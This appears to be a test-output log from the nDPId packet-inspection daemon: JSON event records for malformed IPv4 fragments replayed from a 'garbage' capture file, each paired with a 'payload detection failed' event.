+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779366,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 